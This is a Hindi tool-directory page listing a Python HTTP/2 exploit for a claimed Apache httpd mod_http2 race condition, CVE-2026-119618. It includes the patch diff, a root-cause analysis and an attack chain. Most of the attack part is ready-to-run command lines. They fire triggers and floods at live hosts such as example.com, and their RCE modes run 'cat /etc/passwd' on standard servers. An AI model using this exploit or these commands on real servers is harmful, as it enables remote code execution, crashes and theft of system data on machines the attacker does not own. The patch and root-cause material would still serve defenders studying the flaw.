Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-119618 — Apache httpd 2.4.55–2.4.70 में हीप करप्शन और RCE उत्पन्न करने वाले mod_http2 अनुरोध-हेडर रेस के लिए CVE-2026-119618 हेतु Python HTTP/2 एक्सप्लॉइट, जिसमें Docker टेस्ट रिग शामिल है। | Kitploit
उपकरण/GitHubGitHub/studiogangster/cve-2026-119618
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षाफज़िंगनेटवर्क सुरक्षारिमोट एक्सेस ट्रोजन
GitHub
studiogangster/cve-2026-119618

CVE-2026-119618

Apache httpd 2.4.55–2.4.70 में हीप करप्शन और RCE उत्पन्न करने वाले mod_http2 अनुरोध-हेडर रेस के लिए CVE-2026-119618 हेतु Python HTTP/2 एक्सप्लॉइट, जिसमें Docker टेस्ट रिग शामिल है।

रिपॉजिटरी देखें
23 दिन पहलेअभी तक समीक्षित नहीं
साझा करें

CVE-2026-119618 — Apache HTTP Server (mod_http2 / mod_h2)

HTTP/2 अनुरोध-हेडर तालिका में अनुचित सिंक्रोनाइज़ेशन के साथ साझा संसाधन का समवर्ती निष्पादन (CWE-362) → हीप करप्शन → RCE।

CVSS9.8 (गंभीर)
प्रभावितhttpd 2.4.55 – 2.4.70, स्टैंडअलोन mod_h2 2.0.8 – 2.0.42
में ठीक किया गयाhttpd 2.4.71 (जारी 2026-11-11)
अपस्ट्रीम पैच824beab (2.4.x) / 5ed3928 (trunk) — mod_http2: assign_headers update table (#975) (#977)
खोजकर्ताAnthropic OSS Scanner (ANT-2026-MAPKT6MZ), Google Cloud VRP (Weems / Scannell)

1. अपस्ट्रीम पैच (क्या बदला)

modules/http2/h2_request.c में एक पंक्ति, assign_headers() के अंदर:

--- a/modules/http2/h2_request.c
+++ b/modules/http2/h2_request.c
@@ -350,7 +350,7 @@ static void assign_headers(request_rec *r, const h2_request *req,
                 /* If we have a content-type, but already seen eos, no more
                  * data will come. Signal a zero content length explicitly.
                  */
-                apr_table_setn(req->headers, "Content-Length", "0");
+                apr_table_setn(r->headers_in, "Content-Length", "0");

पूरा सहेजा गया diff: references/824beab_mod_http2_assign_headers.patch।

कमज़ोर शाखा केवल तब चलती है जब किसी एक अनुरोध के लिए ये सभी शर्तें पूरी हों:

  • method CONNECT नहीं है;
  • अनुरोध में कोई Content-Length हेडर नहीं है;
  • अनुरोध में एक Content-Type हेडर है;
  • no_body true है — क्लाइंट ने पहले ही END_STREAM के साथ कोई DATA फ़्रेम नहीं भेजा है (no_body == conn_ctx->beam_in == NULL, अर्थात् अनुरोध बॉडी कभी बफ़र नहीं हुई क्योंकि स्ट्रीम ने हेडर के समय ही END_STREAM ले लिया था)।

2. मूल कारण (व्युत्पन्न)

req->headers वह h2_request हेडर तालिका है। वह तालिका दो स्वामियों वाला साझा संसाधन है:

  1. c1 (सत्र / मल्टीप्लेक्सर) थ्रेड — क्लाइंट के HEADERS फ़्रेम पार्स करते समय इसे भरता है: h2_stream_add_header() → h2_request_add_header() → h2_request_add_header req->headers में लिखता है।
  2. c2 (वर्कर) थ्रेड — इसे उपभोग करता है: h2_mplx → c2_process() → h2_create_request_rec(req, c, …) → assign_headers(r, req, no_body, …)।

कमज़ोर कोड में अनुरोध जीवनचक्र का अंतिम लेखन — apr_table_setn(req->headers, "Content-Length", "0") — एक c2 वर्कर थ्रेड पर होता था, उस तालिका पर जिसमें c1 थ्रेड अभी भी लिख रहा हो सकता है (c2 वर्कर द्वारा c2_process शुरू करने के बाद भी सत्र उस स्ट्रीम के लिए फ़्रेम भेजता/फ़्लश करता रहता है)। दो थ्रेड्स एक ही apr_table_t को बिना लॉक के बदलते हैं (हैश-तालिका रीहैश / एलिमेंट रीएलोक) → हीप करप्शन।

इसके विपरीत, r->headers_in assign_headers() के आरंभ में apr_table_clone(r->pool, req->headers) के रूप में बनाया जाता है — c2 वर्कर के पूल में एक नई प्रति-प्रति-अनुरोध प्रतिलिपि, जिसे c1 कभी नहीं छूता। फ़िक्स बस लेखन को वहाँ स्थानांतरित कर देता है, जिससे साझा-संसाधन लेखन और रेस दोनों हट जाते हैं।

3. आक्रमण श्रृंखला

  1. हमलावर कमज़ोर Apache (2.4.55–2.4.70 / mod_h2 2.0.8–2.0.42) से एक HTTP/2 कनेक्शन (TLS पर h2, या h2c क्लियरटेक्स्ट) खोलता है।
  2. वे एक अनुरोध भेजते हैं जो ऊपर की ट्रिगर शर्तों को पूरा करता है: Content-Type मौजूद, कोई Content-Length नहीं, HEADERS फ़्रेम पर END_STREAM फ़्लैग सेट (कोई बॉडी नहीं आती)।
  3. उस अनुरोध को संसाधित करने वाला c2 वर्कर कमज़ोर apr_table_setn(req->headers, …) चलाता है, जबकि c1 थ्रेड समवर्ती रूप से उसी req->headers को छू रहा होता है।
  4. बिना सिंक के समवर्ती apr_table परिवर्तन → हीप करप्शन → RCE (या DoS यदि करप्शन सौम्य है / ASLR प्रतिकूल है)।
  5. ओवरलैप को विश्वसनीय रूप से बाध्य करने के लिए, एक्सप्लॉइट एक ही कनेक्शन पर कई समवर्ती h2 स्ट्रीम दागता है: कुछ ट्रिगर स्ट्रीम (तैयार किया गया अनुरोध) और साथ में अन्य c2 वर्कर्स को व्यस्त रखने वाली सादे अनुरोधों की बाढ़, ताकि c2 वर्कर के कमज़ोर लेखन को चलाते समय c1 पक्ष व्यस्त रहे।

लाइव सर्वर पर देखने योग्य: एक स्ट्रीम को RST_STREAM मिलता है, कनेक्शन को GOAWAY मिलता है, या बर्स्ट के बीच में कनेक्शन टूट जाता है (क्रैश)। पैच किया गया 2.4.71 सर्वर उसी एकल अनुरोध का सामान्य रूप से उत्तर देता है — यही कारण है कि --verify मोड एक स्मोक टेस्ट है और बर्स्ट मोड ही रेस को बाध्य करता है।

4. एक्सप्लॉइट

cve_2026_119618_exploit.py — शुद्ध-Python, h2 पैकेज के साथ HTTP/2 स्टेट मशीन चलाता है (कोई C डिपेंडेंसी नहीं)। प्रत्येक राउंड में यह एक कनेक्शन खोलता है, h2 (ALPN) या h2c पर बातचीत करता है, और एक ही sendall() में triggers + flood स्ट्रीम का सघन बर्स्ट दागता है ताकि सभी HEADERS फ़्रेम (प्रत्येक END_STREAM के साथ) सर्वर पर एक के बाद एक पहुँचें; फिर यह RST / GOAWAY / EOF की प्रतीक्षा करता है।

किसी भी h2-सक्षम कमज़ोर Apache पर काम करता है — कोई कस्टम CGI नहीं, कोई विशेष सर्वर कॉन्फ़िग आवश्यक नहीं। RST/EOF ही करप्शन का हस्ताक्षर है; --cmd फ़्लैग वैकल्पिक है (RCE-एंडपॉइंट वाले टेस्ट रिग पर RCE-प्रमाण के लिए)।

एक्सप्लॉइट प्रतिक्रिया HEADERS को एक raw hpack decoder के साथ डिकोड करता है (जिसे h2 लाइब्रेरी के आंतरिक डिकोडर से अलग रखा गया है, जो फ़्रेम को तब तक बफ़र करता है जब तक कि स्ट्रीम END_STREAM द्वारा बंद न हो जाए — एक फ़्रेम जिसे Apache का mod_h2 अक्सर RCE-प्रूफ CGI प्रतिक्रिया पर नहीं भेजता)। इसी तरह X-Cmd-Out RCE प्रमाण विश्वसनीय रूप से कैप्चर किया जाता है, भले ही h2 लाइब्रेरी की स्टेट मशीन कभी ResponseReceived उत्सर्जित न करे।

pip install h2

# h2 over TLS (most live servers). Cert verification is skipped by default
# (good for self-signed / wildcard certs); pass --cert-verify to verify.
python3 cve_2026_119618_exploit.py -H example.com -p 443 --tls \
    --triggers 5 --flood 32 --rounds 500 -v

# cleartext h2c (e.g. a local test build or a server with h2c enabled)
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 8080 --h2c \
    --triggers 5 --flood 32 --rounds 1000 -v

# auto-negotiate: try h2c first, fall back to h2-over-TLS
python3 cve_2026_119618_exploit.py -H example.com -p 443 --auto \
    --triggers 5 --flood 32 --rounds 500 -v

# patched/vulnerable smoke test: one quiet trigger, no burst
python3 cve_2026_119618_exploit.py -H example.com -p 443 --tls --verify

# RCE proof (for a test rig with an RCE-endpoint CGI): the command is passed
# in the X-Cmd header (keeping the trigger bodyless, as the CVE requires),
# and the output is returned in the X-Cmd-Out response header.
# --extra-headers pads the trigger with dummy headers to force apr_table
# rehashes (widening the c1/c2 race window); --conns fires N parallel
# connections per wave to saturate the c2 worker pool.
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 443 --tls \
    --trigger-path /cgi-bin/rce-cgi --cmd 'cat /etc/passwd' \
    --triggers 10 --flood 32 --extra-headers 32 --conns 16 --rounds 200 -v

# STANDARD mode: the target is a plain Apache with NO rce-cgi / no ScriptAlias
# (a live box you haven't instrumented). Proves RCE via the corruption
# signature (RST/EOF) instead of X-Cmd-Out. The trigger and flood both hit a
# normal path (default "/").
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 8443 --tls --standard \
    --triggers 10 --flood 32 --extra-headers 32 --conns 16 --rounds 500 -v

# RCE-ON-STD: ACTUAL RCE on a standard box that has its OWN body-reading
# handler (its standard /cgi-bin, SSI, PHP eval, ...). The command goes in the
# request BODY (not the X-Cmd header). The CVE's assign_headers() writes
# Content-Length:0 into the shared req->headers table, which is cloned into
# r->headers_in — so the body (carrying the command) reaches the handler, which
# echoes/executes it. Point --trigger-path at the box's body-reading handler.
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 9443 --tls --rce-on-std \
    --trigger-path /cgi-bin/echo-cgi --cmd 'cat /etc/passwd' \
    --triggers 5 --flood 16 --conns 4 --rounds 30 -v

लक्ष्य के पास जो है, उसके अनुसार तीन प्रूफ मोड:

टूल डाउनलोड करें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 अंतिम OSINT टूलकिट: जाँच ग्राफ़, विश्वास स्कोरिंग, उपनाम परिवार, मानचित्र, टाइमलाइन और रिपोर्ट। 49 मॉड्यूल, 400+ साइटें, किसी API कुंजी की आवश्यकता नहीं।

    786
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # घोस्टलॉक वन-टैप निष्पादन ऐप (CVE-2026-43499)

    506
  • 3

    ARTEX

    baarai/artex

    प्लानर/वर्कर एजेंट, एसेट और एक्सप्लोरेशन ग्राफ़, MITM ट्रैफ़िक रिकॉर्डिंग, और भेद्यता पुनःपरीक्षण के साथ LLM मल्टी-एजेंट स्वायत्त पेनेट्रेशन टेस्टिंग प्लेटफ़ॉर्म।

    429
  • 4

    redforge

    cybersecurity91/redforge

    ब्राउज़र-साइड रेड टीम टूलकिट, जिसमें रेकॉन, पेलोड जनरेशन, क्रेडेंशियल हमलों, क्रिप्टो, एन्कोडिंग और एंगेजमेंट रिपोर्टिंग के लिए 102 ऑफ़लाइन टूल्स हैं।

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI-मूल साइबरसुरक्षा के लिए कार्रवाई की प्रणाली—जहाँ इरादा नियंत्रित निष्पादन बन जाता है, साक्ष्य परिचालन स्मृति बन जाता है, और हर ऑपरेशन अगले को बेहतर बनाता है।

    262
  • 6

    looking-glass

    anonghosty/looking-glass

    CSIRT प्लेटफ़ॉर्म जो Shadowserver रिपोर्ट्स को MongoDB में इनजेस्ट करता है और उन्हें इंटरैक्टिव मैप्स, विश्लेषण, निष्कर्षों, सलाहों और कार्यकारी डैशबोर्ड के रूप में पुनः प्रस्तुत करता है।

    256

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →